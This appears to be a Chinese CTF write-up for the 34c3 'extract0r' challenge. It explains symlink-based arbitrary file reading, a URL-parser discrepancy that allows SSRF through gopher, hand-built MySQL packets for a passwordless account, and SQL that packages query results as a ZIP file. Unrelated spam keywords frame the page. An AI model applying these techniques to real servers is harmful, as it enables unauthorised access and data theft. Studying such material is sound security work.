中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Gopher是怎樣攻擊MySql

發布時間:2021-12-20 11:52:38 來源:億速云 閱讀:162 作者:柒染 欄目:數據安全

這篇文章給大家介紹Gopher是怎樣攻擊MySql,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

題目簡介

34c3CTF web中的extract0r。

題中的目是一個安全解壓服務,用戶輸入zip的url地址,程序對url進行合法性校驗后會下載該zip,然后為用戶創建一個目錄,把文件解壓進去

0x00 任意文件讀取

經過測試,發現輸入的域名中不能含有數字,并且壓縮文件中不能含有目錄,解壓后的目錄不解析php。通過上傳一個含有符號鏈接文件的壓縮包,可以達到任意文件讀取的效果。

ln -s ../index.php test_link
7za a -t7z -r test.7z test

上傳后訪問test_link得到源代碼

index.php (html部分已刪去)

<?php
session_start();
url.php
function get_directory($new=false) {
    if (!isset($_SESSION["directory"]) || $new) {
        $_SESSION["directory"] = "files/" . sha1(random_bytes(100));
    }
    $directory = $_SESSION["directory"];
    if (!is_dir($directory)) {
        mkdir($directory);
    }
    return $directory;
}

function clear_directory() {
    $dir = get_directory();
    $files = glob($dir . '/*'); 
    foreach($files as $file) { 
        if(is_file($file) || is_link($file)) {
            unlink($file); 
        } else if (is_dir($file)) {
            rmdir($file);
        }
    }
}

function verify_archive($path) {
    $res = shell_exec("7z l " . escapeshellarg($path) . " -slt");
    $line = strtok($res, "\n");
    $file_cnt = 0;
    $total_size = 0;

    while ($line !== false) {
        preg_match("/^Size = ([0-9]+)/", $line, $m);
        if ($m) {
            $file_cnt++;
            $total_size += (int)$m[1];
        }
        $line = strtok( "\n" );
    }

    if ($total_size === 0) {
        return "Archive's size 0 not supported";
    }

    if ($total_size > 1024*10) {
        return "Archive's total uncompressed size exceeds 10KB";
    }

    if ($file_cnt === 0) {
        return "Archive is empty";
    }

    if ($file_cnt > 5) {
        return "Archive contains more than 5 files";
    }

    return 0;
}

function verify_extracted($directory) {
    //遍歷解壓后的目錄下的所有文件
    $files = glob($directory . '/*'); 
    $cntr = 0;
    foreach($files as $file) {
        if (!is_file($file)) {
            //如果不是文件就刪除
            $cntr++;
            unlink($file);
            @rmdir($file);
        }
    }
    return $cntr;
}

function decompress($s) {
    $directory = get_directory(true);
    $archive =  tempnam("/tmp/", "archive_");

    file_put_contents($archive, $s);
    $error = verify_archive($archive);
    if ($error) {
        unlink($archive);
        error($error);
    }

    shell_exec("7z e ". escapeshellarg($archive) . " -o" . escapeshellarg($directory) . " -y");
    unlink($archive);

    return verify_extracted($directory);
}

function error($s) {
    clear_directory();
    die("<h3><b>ERROR</b></h3> " . htmlspecialchars($s));
}

$msg = "";
if (isset($_GET["url"])) {
    $page =  get_contents($_GET["url"]);

    if (strlen($page) === 0) {
        error("0 bytes fetched. Looks like your file is empty.");
    } else {
        $deleted_dirs = decompress($page);
        $msg = "<h4>Done!</h4> Your files were extracted if you provided a valid archive.";

        if ($deleted_dirs > 0) {
            $msg .= "<h4>WARNING:</h4> we have deleted some folders from your archive for security reasons with our <a href='cyber_filter'>cyber-enabled filtering system</a>!";
        }
    }
}
?>

url.php

<?php
function in_cidr($cidr, $ip) {
    list($prefix, $mask) = explode("/", $cidr);

    return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> (32-$mask)) << (32-$mask));
}

function get_port($url_parts) {
    if (array_key_exists("port", $url_parts)) {
        return $url_parts["port"];
    } else if (array_key_exists("scheme", $url_parts)) {
        return $url_parts["scheme"] === "https" ? 443 : 80;
    } else {
        return 80;
    }
}

function clean_parts($parts) {
    // oranges are not welcome here
    $blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/";

    if (array_key_exists("scheme", $parts)) {
        $parts["scheme"] = preg_replace($blacklisted, "", $parts["scheme"]);
    }

    if (array_key_exists("user", $parts)) {
        $parts["user"] = preg_replace($blacklisted, "", $parts["user"]);
    }

    if (array_key_exists("pass", $parts)) {
        $parts["pass"] = preg_replace($blacklisted, "", $parts["pass"]);
    }

    if (array_key_exists("host", $parts)) {
        $parts["host"] = preg_replace($blacklisted, "", $parts["host"]);
    }

    return $parts;
}

function rebuild_url($parts) {
    $url = "";
    $url .= $parts["scheme"] . "://";
    $url .= !empty($parts["user"]) ? $parts["user"] : "";
    $url .= !empty($parts["pass"]) ? ":" . $parts["pass"] : "";
    $url .= (!empty($parts["user"]) || !empty($parts["pass"])) ? "@" : "";
    $url .= $parts["host"];
    $url .= !empty($parts["port"]) ? ":" . (int) $parts["port"] : "";
    $url .= !empty($parts["path"]) ? "/" . substr($parts["path"], 1) : "";
    $url .= !empty($parts["query"]) ? "?" . $parts["query"] : "";
    $url .= !empty($parts["fragment"]) ? "#" . $parts["fragment"] : "";

    return $url;
}

function get_contents($url) {
    $disallowed_cidrs = [ "127.0.0.0/8", "169.254.0.0/16", "0.0.0.0/8",
        "10.0.0.0/8", "192.168.0.0/16", "14.0.0.0/8", "24.0.0.0/8", 
        "172.16.0.0/12", "191.255.0.0/16", "192.0.0.0/24", "192.88.99.0/24",
        "255.255.255.255/32", "240.0.0.0/4", "224.0.0.0/4", "203.0.113.0/24", 
        "198.51.100.0/24", "198.18.0.0/15",  "192.0.2.0/24", "100.64.0.0/10" ];

    for ($i = 0; $i < 5; $i++) {
        $url_parts = clean_parts(parse_url($url));

        if (!$url_parts) {
            error("Couldn't parse your url!");
        }

        if (!array_key_exists("scheme", $url_parts)) {
            error("There was no scheme in your url!");
        }

        if (!array_key_exists("host", $url_parts)) {
            error("There was no host in your url!");
        }

        $port = get_port($url_parts);
        $host = $url_parts["host"];

        $ip = gethostbynamel($host)[0];
        if (!filter_var($ip, FILTER_VALIDATE_IP, 
            FILTER_FLAG_IPV4|FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)) {
            error("Couldn't resolve your host '{$host}' or 
                the resolved ip '{$ip}' is blacklisted!");
        }

        foreach ($disallowed_cidrs as $cidr) {
            if (in_cidr($cidr, $ip)) {
                error("That IP is in a blacklisted range ({$cidr})!");
            }
        }

        // all good, rebuild url now
        $url = rebuild_url($url_parts);

        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
        curl_setopt($curl, CURLOPT_TIMEOUT, 3);
        curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
        curl_setopt($curl,CURLOPT_SAFE_UPLOAD,0);
        curl_setopt($curl, CURLOPT_RESOLVE, array($host . ":" . $port . ":" . $ip)); //加一條緩存,防止dns rebinding
        curl_setopt($curl, CURLOPT_PORT, $port);

        $data = curl_exec($curl);

        if (curl_error($curl)) {
            error(curl_error($curl));
        }

        $status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
        if ($status >= 301 and $status <= 308) {
            $url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
        } else {
            return $data;
        }

    }

    error("More than 5 redirects!");
}

簡要分析代碼流程

Gopher是怎樣攻擊MySql

經rebirth提醒,可以使用以.開頭的文件來繞過verify_extracted中對鏈接目錄的檢測。ln -s / .a.a打包上傳即可。這里是因為glob($dir . '/*');*遍歷不到以.開頭的文件。故繞過了對文件類型的檢測,成功了鏈接到了根目錄。

Gopher是怎樣攻擊MySql

翻一翻目錄會發現:/home/extract0r/create_a_backup_of_my_supersecret_flag.shGopher是怎樣攻擊MySql

這里創建了一個空密碼的mysql用戶,并且flag就在數據庫中。之前已經有利用gopher協議攻擊redis、fastcgi等的案例。我們可以試著利用gopher攻擊一下mysql。這里有兩個要點

  1. 繞過ip檢查,實現ssrf

  2. 研究mysql協議,構造payload

0x01 SSRF

通過代碼邏輯我們可知

url->php parse_url(過濾ip)->過濾url各部分(空白字符和數字)->curl發送請求

這里可利用parse_urllibcurl對url解析的差異來繞過。經過測試,得出以下結論(我本地環境php 7.0.20-2  libcurl/7.52.1

完整url: scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
這里僅討論url中不含'?'的情況

php parse_url:
host: 匹配最后一個@后面符合格式的host

libcurl:
host:匹配第一個@后面符合格式的host

如:
http://u:p@a.com:80@b.com/
php解析結果:
    schema: http 
    host: b.com
    user: u
    pass: p@a.com:80
libcurl解析結果:
    schema: http
    host: a.com
    user: u
    pass: p
    port: 80
    后面的@b.com/會被忽略掉

那么我們可以構造出一個域名,讓php解析出來的host是a.com,dns解析后ip不在黑名單,這樣就繞過了黑名單檢查。而libcurl實際請求時候是另外一個域名,這樣我們就可以實現任意ip請求了。

fuzz一下后得到以下結果        
http://u:p:@a.com:3306@b.com/        
http://u:@a.com:3306@b.com/        
都可以實現php解析出來是b.com 而curl實際請求a.com:3306

但此題目中php解析url后在clean_parts中過濾了空白字符和數字,所以以上url均不可用。 

題目作者給出的url是:gopher://foo@[cafebabe.cf]@yolo.com:3306剛開始不太理解,后來@rebirth告訴我在rfc3986是這樣定義url的:

A host identified by an Internet Protocol literal address, version 6 or later, is distinguished by enclosing the IP literal within square brackets ("[" and "]"). This is the only place where square bracket characters are allowed in the URI syntax.        
IP-literal = "[" ( IPv6address / IPvFuture ) "]"        
也就是說[ip]是一種host的形式,libcurl在解析時候認為[]包裹的是host

另外ricter大佬的gopher://foo@localhost:f@ricterz.me:3306/在題目環境中是可用的,我本地不可用(題目的libcurl版本比我本地高)

0x02 mysql協議分析

研究的目的是為了構造出gopher連接mysql的payload,mysql協議分為4.0之前和4.0之后兩個版本,這里僅討論4.0之后的協議,mysql交互過程:    
Gopher是怎樣攻擊MySql

MySQL數據庫用戶認證采用的是挑戰/應答的方式,服務器生成該挑戰數(scramble)并發送給客戶端,客戶端用挑戰數加密密碼后返回相應結果,然后服務器檢查是否與預期的結果相同,從而完成用戶認證的過程。 

登錄時需要用服務器發來的scramble加密密碼,但是當數據庫用戶密碼為空時,加密后的密文也為空。client給server發的認證包就是相對固定的了。這樣就無需交互,可以通過gopher協議來發送。 

mysql數據包前需要加一個四字節的包頭。前三個字節代表包的長度,第四個字節代表包序,在一次完整的請求/響應交互過程中,用于保證消息順序的正確,每次客戶端發起請求時,序號值都會從0開始計算。    

1. 握手初始化報文(服務器 -> 客戶端)

Gopher是怎樣攻擊MySql

具體到抓包數據

4C0000//包大小76 小端字節序
00//序號0 
0A//版本號
352E372E31382D3100//版本信息字符串,以\0結尾,內容為5.7.18-1
04000000//服務器線程id
6B69457B3C342E43//scramble前半部分8字節
00//固定0x00
FFF7//服務器權能標志低16位 用于與客戶端協商通訊方式
08//字符集,08代表utf-8
0200//服務器狀態
FF81//服務器權能標志高16位
15//挑戰串長度 
00000000000000000000//10字節0x00 固定填充
3A6A02314D2661447951577F00//scramble后半部分12字節 以null結尾
6D7973716C5F6E61746976655F70617373776F726400//密碼加密方式,內容為mysql_native_password 對高版本來說沒什么用 無視即可

2. 認證報文(客戶端->服務器)

Gopher是怎樣攻擊MySql

當用戶密碼為空時,認證包唯一的變量挑戰認證數據為0x00(NULL),所以認證包就是固定的了,不需要根據server發來的初始化包來計算了    
這里順帶提一下密碼的算法為

hash2 = SHA1(password) //password是用戶輸入的密碼
result = hash2 ^ sha1(scramble+sha1(hash2))

3. 命令報文

命令報文相當簡單

Gopher是怎樣攻擊MySql

第一個字節表示當前命令的類型,比如0x02(切換數據庫),0x03(SQL查詢)后面的參數就是要執行的sql語句了。

4. 驗證

經過分析,執行一句sql語句時,發送了兩個packet(認證packet、命令packet) ,那么我們把兩個packet一起發給server端,server就會響應給我們結果。 packet的構造參見上文協議格式,需要注意的是mysql協議是小端字節序。 

這里我用socket做一個簡單的測試,使用的是無密碼用戶,發送的sql語句是select now();

Gopher是怎樣攻擊MySql

那么在php下,使用libcurl請求也是一樣的Gopher是怎樣攻擊MySql

php的payload最后加了四個空字節,這是為了讓server端解析第三個數據包時出錯,斷開與我們的連接。盡快返回數據,題目中curl的超時時間是3s

至此,我們完成了從gopher到sql執行。反觀題目,這里需要curl得到的響應是可以被解壓的。所以我們需要想辦法把查出來的數據構造成壓縮文件格式。

0x03 壓縮文件格式

zip壓縮算法壓縮出來的文件一般包括四部分。

1.local file head
2.壓縮后的Deflate數據
3.central directory file head
4.end of central directory record

Gopher是怎樣攻擊MySql

經過測試,7z是可以成功解壓一個格式合法的壓縮文件的,即使是文件CRC錯誤,部分字段異常。 

那么思路就來了,利用sql語句構造查詢出zip的頭和尾部,把我們想要的數據concat到中間的Deflate部分即可。(7z解壓時候發現部分header異常,Deflate部分的數據會不經解壓直接寫入到解壓后的文件) 

形如    
select concat(zip_header,(the sql we want to execute), zip_eof)

針對zip具體的構造,不在贅述,參見zip算法詳解 

這里我寫了一個函數幫助我們創建

from struct import *
def create_zip(filename, content_size):
    content = '-'*content_size
    filename = pack('<%ds'%len(filename), filename)
    content_len_b = pack('<I', len(content))
    filename_len_b = pack('<H', len(filename))
    local_file_header = b"\x50\x4b\x03\x04\x0a\x00"+"\x00"*12
    local_file_header += content_len_b*2
    local_file_header += filename_len_b
    local_file_header += "\x00\x00"
    local_file_header += filename
    cd_file_header = b"\x50\x4b\x01\x02\x1e\x03\x0a\x00"+"\x00"*12+filename_len_b+"\x00"*16+filename
    cd_file_header_len_b = pack("<I", len(cd_file_header))
    offset = pack("<I",len(local_file_header+cd_file_header))
    eof_record = b"\x50\x4b\x05\x06"+"\x00"*4+"\x01\x00"*2+cd_file_header_len_b+offset+"\x00\x00"
    #return each party of zip
    return [local_file_header,content,cd_file_header+eof_record]

需要注意的是,zip的Deflate部分是保存文件壓縮后的內容,zip格式又要求必須給出Deflate部分的大小。這里我們只需把查出數據保存在Deflate部分,并且根據查詢結果的預期大小來指定Deflate部分的尺寸。 

比如查詢select version()時候Deflate大小20就夠了。 這里給出一個sql大家可以自行測試    

select concat(cast(0x504b03040a00000000000000000000000000e8030000e803000010000000746869735f69735f7468655f666c6167 as binary), rpad((select now()), 1000, '-'), cast(0x504b01021e030a00000000000000000000000000100000000000000000000000000000000000746869735f69735f7468655f666c6167504b0506000000000100010036000000640000000000 as binary)) into dumpfile '/tmp/test.zip';

這里的1000就是Deflate數據部分占用大小。 至此我們也就完成了sql語句的構造,可以通過sql查出一個壓縮包格式的數據。并且解壓后的文件內容就是查詢結果。 

那么梳理一下,先是通過符號鏈接,得到了一個沒有密碼的數據庫用戶。又通過parse_urllibcurl的解析差異,繞過了對ip的合法性校驗,從而可以實現ssrf任意ip。又通過分析mysql協議,發現空密碼用戶可以直接構造出packet執行sql語句。最終我們只需要輸入gopher://foo@[cafebabe.cf]@yolo.com:3306/_+(發送給mysql的packet)+(四個空字節)就可以得到結果。

0x04 利用

為了方便,我寫了一個簡單的mysql client,測試與mysql 的通信并生成payload。

Gopher是怎樣攻擊MySql

輸入后:

Gopher是怎樣攻擊MySql

有興趣的可以連接自己的mysql,dump出packet

Gopher是怎樣攻擊MySql

關于Gopher是怎樣攻擊MySql就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

图木舒克市| 锦屏县| 镇雄县| 黄山市| 出国| 宜昌市| 呼伦贝尔市| 庆云县| 中超| 黄龙县| 银川市| 西藏| 渑池县| 黄骅市| 上饶市| 柏乡县| 广水市| 棋牌| 福泉市| 阳山县| 定西市| 弥勒县| 神农架林区| 汶川县| 星子县| 抚松县| 公主岭市| 天峻县| 大石桥市| 樟树市| 睢宁县| 奈曼旗| 义乌市| 泗阳县| 冀州市| 云南省| 静安区| 壤塘县| 馆陶县| 阜新| 资阳市|